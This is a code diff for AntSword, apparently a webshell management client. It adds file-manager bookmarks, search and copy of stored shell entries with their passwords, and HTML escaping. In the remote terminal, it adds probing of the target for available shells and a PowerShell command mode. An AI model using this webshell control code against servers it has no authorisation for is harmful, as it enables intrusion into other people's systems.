this.filemanager_settings.bookmarks = default_config.filemanager.bookmarks;
}
const toolbar = cell.attachToolbar(); const toolbar = cell.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([
{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' } { id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }
...@@ -42,12 +49,96 @@ class ADefault { ...@@ -42,12 +49,96 @@ class ADefault {
} }
]}, ]},
// 后续文件管理其它设置 // 后续文件管理其它设置
{ type: 'block', list: [
{type: 'label', label: LANG['filemanager']['bookmark']['title']},
{type: 'container', name: 'filemanager_bookmarks', inputWidth: 600, inputHeight: 200},
]},
] ]
} }
]}, ]},
// 后续其它模块 // 后续其它模块
], true); ], true);
form.enableLiveValidation(true); form.enableLiveValidation(true);
let bookmark_grid = new dhtmlXGridObject(form.getContainer('filemanager_bookmarks'));
bookmark_grid.setHeader(`
&nbsp;,
${LANG['filemanager']['bookmark']['grid']['name']},
${LANG['filemanager']['bookmark']['grid']['path']}
`);
bookmark_grid.setColTypes("ro,edtxt,edtxt");
bookmark_grid.setColSorting('str,str,str');
bookmark_grid.setInitWidths("40,*,200");
bookmark_grid.setColAlign("center,left,left");
bookmark_grid.enableMultiselect(true);
// grid右键
// 空白数据右键fix
$('.objbox').on('contextmenu', (e) => {
(e.target.nodeName === 'DIV' && bookmark_grid.callEvent instanceof Function && antSword['tabbar'].getActiveTab() === "tab_about" && sidebar.getActiveItem() === "adefault") ? bookmark_grid.callEvent('onRightClick', [-1, -1, e]) : null;
});
$('.objbox').on('click', (e) => {
bmenu.hide();
});
bookmark_grid.attachEvent('onRightClick', (id, lid, event)=>{
let _ids = (bookmark_grid.getSelectedId()|| '').split(',');
if (id === -1) {
_ids = [];
} else if (_ids.length === 1) {
// 如果没有选中?则选中右键对应选项
bookmark_grid.selectRowById(id);
_ids = [id];
};
let ids = [];
_ids.map((_) => {
ids.push(bookmark_grid.getRowAttribute(_, 'bname'));
});
id = ids[0] || '';
let menu = [
{ text: LANG['filemanager']['bookmark']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self.addBookMarks.bind(self)},
{ text: LANG['filemanager']['bookmark']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => {
self.delBookMarks(ids);
}},
];
bmenu(menu, event);
return true;
});
bookmark_grid.attachEvent("onEditCell", function(stage,rId,cInd,nValue,oValue){
// 2 编辑完成
if(stage === 2) {
if(nValue === oValue){return;}
var obname = bookmark_grid.getRowAttribute(rId, "bname");
var obpath = bookmark_grid.getRowAttribute(rId, "bpath");
switch(cInd){ // 具体是哪一列被编辑了
case 1: // name
// if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){
// toastr.error(LANG["filemanager"]['bookmark']['edit']["name_invalid"], LANG_T['error']);
// return
// }
if(self.filemanager_settings.bookmarks.hasOwnProperty(obname)){
delete self.filemanager_settings.bookmarks[obname];
self.filemanager_settings.bookmarks[nValue] = obpath;
}
toastr.success(LANG["filemanager"]['bookmark']['edit']["success"],LANG_T["success"]);
break;
case 2: // path
nValue = nValue.replace(/\\/g,'/');
if(!nValue.endsWith('/')){
nValue += '/';
}
if(self.filemanager_settings.bookmarks.hasOwnProperty(obname)){
self.filemanager_settings.bookmarks[obname] = nValue;
}
break;
}
antSword['storage']('adefault_filemanager', self.filemanager_settings);
self.reloadFMBookmarks();
}
});
bookmark_grid.init();
this.bookmark_grid = bookmark_grid;
// 保存 // 保存
toolbar.attachEvent('onClick', (id) => { toolbar.attachEvent('onClick', (id) => {
switch(id){ switch(id){
...@@ -56,7 +147,7 @@ class ADefault { ...@@ -56,7 +147,7 @@ class ADefault {
var _formvals = form.getValues(); var _formvals = form.getValues();
let config = default_config; let config = default_config;
config.filemanager.openfileintab = _formvals['openfileintab']; config.filemanager.openfileintab = _formvals['openfileintab'];
config.filemanager.bookmarks = self.filemanager_settings.bookmarks;
// save // save
// save 文件管理设置 // save 文件管理设置
antSword['storage']('adefault_filemanager', config.filemanager); antSword['storage']('adefault_filemanager', config.filemanager);
...@@ -74,6 +165,100 @@ class ADefault { ...@@ -74,6 +165,100 @@ class ADefault {
break; break;
} }
}); });
this.reloadFMBookmarks();
}
// 重载 bookmarks grid
reloadFMBookmarks(){
let self = this;
let data = [];
let _id = 1;
Object.keys(self.filemanager_settings.bookmarks).map((t)=>{
data.push({
id: _id,
bname: t,
bpath: self.filemanager_settings.bookmarks[t],
data: [
`<i class="fa fa-bookmark-o"></i>`,
antSword.noxss(t),
antSword.noxss(self.filemanager_settings.bookmarks[t])
]
});
_id++;
});
if(data.length == 0){
data.push({
id: _id,
bname: '',
bpath: '',
data: [
`<i class="fa fa-bookmark-o"></i>`,
LANG['filemanager']['bookmark']['nodata'],
'&nbsp;'
]
});
}
self.bookmark_grid.clearAll();
self.bookmark_grid.parse({
'rows': data
}, 'json');
}
addBookMarks() {
let self = this;
let hash = +new Date();
let index = layer.prompt({
title: `<i class="fa fa-bookmark"></i> ${LANG['filemanager']['bookmark']['add']['title']}`,
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="text" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark path">',
btn: [LANG['filemanager']['bookmark']['add']['addbtn']],
yes: (i) => {
let _bname = $(`#bname_${hash}`);
let _bpath = $(`#bpath_${hash}`);
let bname = _bname.val();
let bpath = _bpath.val();
let gbm = self.filemanager_settings.bookmarks;
if(gbm.hasOwnProperty(bname)) {
_bname.focus();
return toastr.warning(LANG['filemanager']['bookmark']['add']['namedup'], LANG_T['warning']);
}
bpath = bpath.replace(/\\/g,'/');
if(!bpath.endsWith('/')) {
bpath += '/';
}
gbm[bname] = bpath;
self.filemanager_settings.bookmarks = gbm;
antSword['storage']('adefault_filemanager', self.filemanager_settings);
self.reloadFMBookmarks();
toastr.success(LANG['filemanager']['bookmark']['add']['success'], LANG_T['success']);
layer.close(i);
}
});
}
delBookMarks(ids) {
let self = this;
if(ids.length === 1 && !ids[0]) {
return
}
layer.confirm(
LANG['filemanager']['bookmark']['del']['confirm'](ids.length > 1 ? ids.length:ids[0]),
{
icon: 2,
shift: 6,
title: `<i class="fa fa-trash"></i> ${LANG['filemanager']['bookmark']['del']['title']}`,
},
(_) => {
layer.close(_);
ids.map((p)=>{
if(self.filemanager_settings.bookmarks.hasOwnProperty(p)) {
delete self.filemanager_settings.bookmarks[p];
}
});
antSword['storage']('adefault_filemanager', self.filemanager_settings);
self.reloadFMBookmarks();
toastr.success(LANG['filemanager']['bookmark']['del']['success'], LANG_T['success']);
}
)
} }
} }
......
...@@ -26,7 +26,7 @@ module.exports = { ...@@ -26,7 +26,7 @@ module.exports = {
data.push({ data.push({
id: _['_id'], id: _['_id'],
data: [ data: [
_['url'], _['ip'], _['addr'], _['note'], antSword.noxss(_['url']), _['ip'], _['addr'], antSword.noxss(_['note']),
new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'), new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'),
new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss') new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss')
] ]
......
...@@ -22,7 +22,20 @@ class ShellManager { ...@@ -22,7 +22,20 @@ class ShellManager {
// 初始化右侧栏:目录 // 初始化右侧栏:目录
this.category = new Category(layout.cells('b'), this); this.category = new Category(layout.cells('b'), this);
this.searchPop = null;
this.searchForm = null;
this.initSearchUI();
this.reloadData(); this.reloadData();
// 注册菜单事件
antSword['menubar'].reg('shellmanager-search', () => {
antSword.tabbar.tabs("tab_shellmanager").setActive();
if(this.searchPop.isVisible()) {
this.searchPop.hide();
}else{
this.searchPop.show(120, document.body.clientHeight, 100, 100);
}
});
} }
/** /**
...@@ -31,6 +44,25 @@ class ShellManager { ...@@ -31,6 +44,25 @@ class ShellManager {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
reloadData(arg = {}) { reloadData(arg = {}) {
if(this.searchPop.isVisible()) {
let sdata = this.searchForm.getValues();
var searchObj = {};
switch(sdata['searchtype']) {
case 'all':
searchObj["$or"] = [
{ "url": { $regex: sdata['searchtext']} },
{ "pwd": { $regex: sdata['searchtext']} },
{ "note": { $regex: sdata['searchtext']} },
];
break;
default:
searchObj[sdata['searchtype']] = { $regex: sdata['searchtext']};
break;
}
// 获取当前分类
searchObj['category'] = this.category.sidebar.getActiveItem();
$.extend(arg, searchObj);
}
const _data = Data.get(arg); const _data = Data.get(arg);
// 刷新UI::数据 // 刷新UI::数据
this.list.grid.clearAll(); this.list.grid.clearAll();
...@@ -48,7 +80,7 @@ class ShellManager { ...@@ -48,7 +80,7 @@ class ShellManager {
this.category['sidebar'].addItem({ this.category['sidebar'].addItem({
id: _, id: _,
bubble: _data['category'][_], bubble: _data['category'][_],
text: `<i class="fa fa-folder-o"></i> ${_}` text: `<i class="fa fa-folder-o"></i> ${antSword.noxss(_)}`
}); });
} }
// 加载分类数据 // 加载分类数据
...@@ -59,6 +91,45 @@ class ShellManager { ...@@ -59,6 +91,45 @@ class ShellManager {
this.category.updateHeader(); this.category.updateHeader();
this.list.updateHeader(_data['data'].length); this.list.updateHeader(_data['data'].length);
} }
initSearchUI() {
let that = this;
let searchPop = new dhtmlXPopup();
let formData = [
{type: "settings", position: "label-left", labelWidth: 80, inputWidth: 130},
{type: "combo", name: 'searchtype', options: [
{text: "All", value: "all", selected: true},
{text: "URL", value: "url" },
{text: "Password", value: "pwd" },
{text: "Remark", value: "note" },
]},
{type: 'newcolumn', offset:20},
{type: "input", name: "searchtext"},
];
searchPop.attachEvent("onShow", function(){
if (that.searchForm == null) {
that.searchForm = searchPop.attachForm(formData);
// that.searchForm.attachEvent("onButtonClick", function(){
// searchPop.hide();
// });
that.searchForm.attachEvent("onInputChange", (name, value, form) => {
if(name == "searchtext") {
that.reloadData({});
}
});
}
// 去掉 popup 的角
var poparrows = document.getElementsByClassName('dhx_popup_arrow dhx_popup_arrow_top');
if (poparrows.length > 0 && poparrows[0].style.display != "none") {
poparrows[0].style.display="none";
}
that.searchForm.setItemFocus("searchtext");
});
// searchPop.attachEvent("onBeforeHide", function(type, ev, id){
// return false;
// });
that.searchPop = searchPop;
}
} }
module.exports = ShellManager; module.exports = ShellManager;
...@@ -50,7 +50,8 @@ class ContextMenu { ...@@ -50,7 +50,8 @@ class ContextMenu {
['delete', 'remove', selectedMultiData, this.delData.bind(this, ids)], ['delete', 'remove', selectedMultiData, this.delData.bind(this, ids)],
false, false,
['move', 'share-square', selectedMultiData, null, this.parseMoveCategoryMenu(ids)], ['move', 'share-square', selectedMultiData, null, this.parseMoveCategoryMenu(ids)],
['search', 'search', true], ['copy', 'copy', selectedData, this.copyData.bind(this, data[0])],
['search', 'search', false, this.searchData.bind(this, event)],
false, false,
['clearCache', 'trash-o', selectedData, this.clearCache.bind(this, id)], ['clearCache', 'trash-o', selectedData, this.clearCache.bind(this, id)],
['clearAllCache', 'trash', false, this.clearAllCache.bind(this)] ['clearAllCache', 'trash', false, this.clearAllCache.bind(this)]
...@@ -265,12 +266,43 @@ class ContextMenu { ...@@ -265,12 +266,43 @@ class ContextMenu {
}); });
} }
/**
* 创建副本
* @param {Object} info 当前选中的数据
* @return {[type]} [description]
*/
copyData(info) {
let data = {
base: {
category: info['category'],
url: info['url'],
pwd: info['pwd'],
note: info['note'],
type: info['type'],
encode: info['encode'],
encoder: info['encoder']
},
http: info['httpConf'] || {},
other: info['otherConf'] || {},
}
const ret = antSword.ipcRenderer.sendSync('shell-add', data);
if (ret instanceof Object) {
// 重新加载数据
antSword.modules.shellmanager.reloadData({
category: data['base']['category']
});
toastr.success(LANG['list']['add']['success']);
} else {
toastr.error(LANG['list']['add']['error'](ret.toString()), LANG_T['error']);
}
}
/** /**
* 搜索数据 * 搜索数据
* @return {[type]} [description] * @return {[type]} [description]
*/ */
searchData() { searchData(event) {
antSword.modules.shellmanager.searchPop.show(120, document.body.clientHeight, 100, 100);
} }
/** /**
......
...@@ -287,20 +287,28 @@ class Form { ...@@ -287,20 +287,28 @@ class Form {
let ret = []; let ret = [];
for (let c in antSword['core']) { for (let c in antSword['core']) {
// 加载默认编码器和用户自定义编码器 // 加载默认编码器和用户自定义编码器
let encoders = antSword['core'][c].prototype.encoders.concat(antSword['encoders'][c]); let encoders;
switch(c){
case 'php4':
encoders = antSword['core']['php4'].prototype.encoders.concat(antSword['encoders']['php']);
break;
default:
encoders = antSword['core'][c].prototype.encoders.concat(antSword['encoders'][c]);
break;
}
ret.push({ ret.push({
text: c.toUpperCase(), value: c, text: c.toUpperCase(), value: c,
selected: c === _default, selected: c === _default,
list: ((c) => { list: ((c) => {
let _ = [ let _ = [
{ type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 200 },
{ type: 'label', label: LANG['list']['add']['form']['encoder'] }, { type: 'label', label: LANG['list']['add']['form']['encoder'] },
{ type: 'radio', name: `encoder_${c}`, value: 'default', label: 'default', checked: true } { type: 'radio', name: `encoder_${c}`, value: 'default', label: `default\t(${LANG['list']['not_recommended']})`, checked: true }
]; ];
if (c !== 'custom') { if (c !== 'custom') {
_.push({ _.push({
type: 'radio', name: `encoder_${c}`, value: 'random', type: 'radio', name: `encoder_${c}`, value: 'random',
label: 'random', checked: _encoder === 'random' label: `random\t(${LANG['list']['not_recommended']})`, checked: _encoder === 'random'
}); });
} }
encoders.map((e) => { encoders.map((e) => {
......
...@@ -8,7 +8,7 @@ const LANG_T = antSword['language']['toastr']; ...@@ -8,7 +8,7 @@ const LANG_T = antSword['language']['toastr'];
class Terminal { class Terminal {
constructor(opts) { constructor(opts, options={}) {
// 生存一个随机ID,用于标识多个窗口dom // 生存一个随机ID,用于标识多个窗口dom
const hash = String(Math.random()).substr(2, 10); const hash = String(Math.random()).substr(2, 10);
...@@ -34,11 +34,14 @@ class Terminal { ...@@ -34,11 +34,14 @@ class Terminal {
this.path = ''; this.path = '';
this.opts = opts; this.opts = opts;
this.options = options || {};
this.hash = hash; this.hash = hash;
this.term = null; this.term = null;
this.cell = cell; this.cell = cell;
this.isWin = true; this.isWin = true;
this.isPowershell = false;
this.sessbin = null; this.sessbin = null;
this.sess_powershell = null;
this.core = new antSword['core'][opts['type']](opts); this.core = new antSword['core'][opts['type']](opts);
this.cache = new antSword['CacheManager'](this.opts['_id']); this.cache = new antSword['CacheManager'](this.opts['_id']);
...@@ -46,6 +49,12 @@ class Terminal { ...@@ -46,6 +49,12 @@ class Terminal {
.getInformation() .getInformation()
.then((ret) => { .then((ret) => {
this.initTerminal(ret['info'], ret['dom']); this.initTerminal(ret['info'], ret['dom']);
if(this.options.hasOwnProperty("path")) {
if(this.isWin && this.path.substr(0,1).toUpperCase() != this.options.path.substr(0,1).toUpperCase()) {
this.term.exec(`${this.options.path.substr(0,1).toUpperCase()}:`);
}
this.term.exec(`cd ${this.options.path}`);
}
}) })
.catch((err) => { .catch((err) => {
toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);
...@@ -142,6 +151,54 @@ class Terminal { ...@@ -142,6 +151,54 @@ class Terminal {
term.echo(LANG['ascmd']['ashelp']); term.echo(LANG['ascmd']['ashelp']);
return; return;
} }
if (cmd === 'aslistcmd'){
var binarr = "";
if (this.isWin) {
binarr = [
"C:/Windows/System32/cmd.exe",
"C:/Windows/SysWOW64/cmd.exe",
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe",
"C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe",
"C:/Windows/System32/WindowsPowerShell/v2.0/powershell.exe",
"C:/Windows/SysWOW64/WindowsPowerShell/v2.0/powershell.exe",
"C:/Windows/System32/WindowsPowerShell/v3.0/powershell.exe",
"C:/Windows/SysWOW64/WindowsPowerShell/v3.0/powershell.exe",
"C:/Windows/System32/WindowsPowerShell/v4.0/powershell.exe",
"C:/Windows/SysWOW64/WindowsPowerShell/v4.0/powershell.exe",
].join(',');
}else{
binarr = [
"/bin/sh",
"/bin/ash",
"/bin/bash",
"/bin/zsh",
"/bin/busybox",
].join(',');
}
this.core.request(
this.core.command.listcmd({
binarr: binarr,
})
).then((ret) => {
let res = ret['text'];
if(res.indexOf("ERROR://") > -1){
throw res;
}
let result = "";
res.split('\n').map((v) => {
var line = v.split('\t');
if(line.length == 2){
var r = parseInt(line[1]) === 1 ? '[[b;#15af63;]OK]' : '[[b;#E80000;]FAIL]';
result += `${line[0]}\t\t\t${r}\n`;
}
});
term.echo(result);
term.resume();
}).catch((err) => {
term.resume();
});
return;
}
if ( cmd.substr(0,5) === 'ascmd') { if ( cmd.substr(0,5) === 'ascmd') {
var sessbin = cmd.substr(5).trim(); var sessbin = cmd.substr(5).trim();
if(sessbin.length>0){ if(sessbin.length>0){
...@@ -152,6 +209,17 @@ class Terminal { ...@@ -152,6 +209,17 @@ class Terminal {
} }
return; return;
} }
if ( cmd.substr(0,12) === 'aspowershell') {
var _switch = cmd.substr(12).trim().toLowerCase();
if(_switch === "on") {
self.sess_powershell = true;
term.echo(LANG['ascmd']['aspowershell']["on"]);
}else {
self.sess_powershell = false;
term.echo(LANG['ascmd']['aspowershell']["off"]);
}
return;
}
term.pause(); term.pause();
// 是否有缓存 // 是否有缓存
let cacheTag = 'command-' + Buffer.from(this.path + cmd).toString('base64'); let cacheTag = 'command-' + Buffer.from(this.path + cmd).toString('base64');
...@@ -171,6 +239,14 @@ class Terminal { ...@@ -171,6 +239,14 @@ class Terminal {
if(self.sessbin !== null) { if(self.sessbin !== null) {
_bin = self.sessbin; _bin = self.sessbin;
} }
if(self.isWin && _bin.indexOf("powershell") > -1) {
self.isPowershell = true
}else{
self.isPowershell = false
}
if(self.sess_powershell !== null) {
self.isPowershell = self.sess_powershell;
}
// 开始执行命令 // 开始执行命令
this.core.request( this.core.request(
this.core.command.exec({ this.core.command.exec({
...@@ -222,7 +298,7 @@ class Terminal { ...@@ -222,7 +298,7 @@ class Terminal {
// < 1.0.0 时使用3个参数 completion: (term, value, callback) => {} // < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
completion: (value, callback) => { completion: (value, callback) => {
callback([ callback([
'ashelp', 'ascmd', 'quit', 'exit' 'ashelp', 'ascmd', 'aslistcmd', 'aspowershell', 'quit', 'exit'
].concat( ].concat(
this.isWin ? [ this.isWin ? [
'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls', 'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls',
...@@ -266,6 +342,7 @@ class Terminal { ...@@ -266,6 +342,7 @@ class Terminal {
} }
} }
}); });
this.term.echo(`[[b;cyan;](*) ${LANG['ascmd']['help']}]`);
} }
/** /**
...@@ -277,7 +354,7 @@ class Terminal { ...@@ -277,7 +354,7 @@ class Terminal {
parseCmd(cmd, path) { parseCmd(cmd, path) {
path = path.replace(/\\\\/g, '\\').replace(/"/g, '\\"').replace(/\\/g, '\\\\'); path = path.replace(/\\\\/g, '\\').replace(/"/g, '\\"').replace(/\\/g, '\\\\');
return (this.isWin return (this.isWin
? `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` ? this.isPowershell? `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]`:`cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]`
: `cd "${path}";${cmd};echo [S];pwd;echo [E]` : `cd "${path}";${cmd};echo [S];pwd;echo [E]`
); );
} }
......
...@@ -234,12 +234,24 @@ ...@@ -234,12 +234,24 @@
} }
if (map.title) { if (map.title) {
$titleElement.append(map.title).addClass(options.titleClass); $titleElement.append(String(map.title)
.replace(/<br\/>/g, "###asbr###")
.replace(/&/g, "&amp;")
.replace(/>/g, "&gt;")
.replace(/</g, "&lt;")
.replace(/"/g, "&quot;")
.replace(/###asbr###/g, "<br/>")).addClass(options.titleClass);
$toastElement.append($titleElement); $toastElement.append($titleElement);
} }
if (map.message) { if (map.message) {
$messageElement.append(map.message).addClass(options.messageClass); $messageElement.append(String(map.message)
.replace(/<br\/>/g, "###asbr###")
.replace(/&/g, "&amp;")
.replace(/>/g, "&gt;")
.replace(/</g, "&lt;")
.replace(/"/g, "&quot;")
.replace(/###asbr###/g, "<br/>")).addClass(options.messageClass);
$toastElement.append($messageElement); $toastElement.append($messageElement);
} }
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment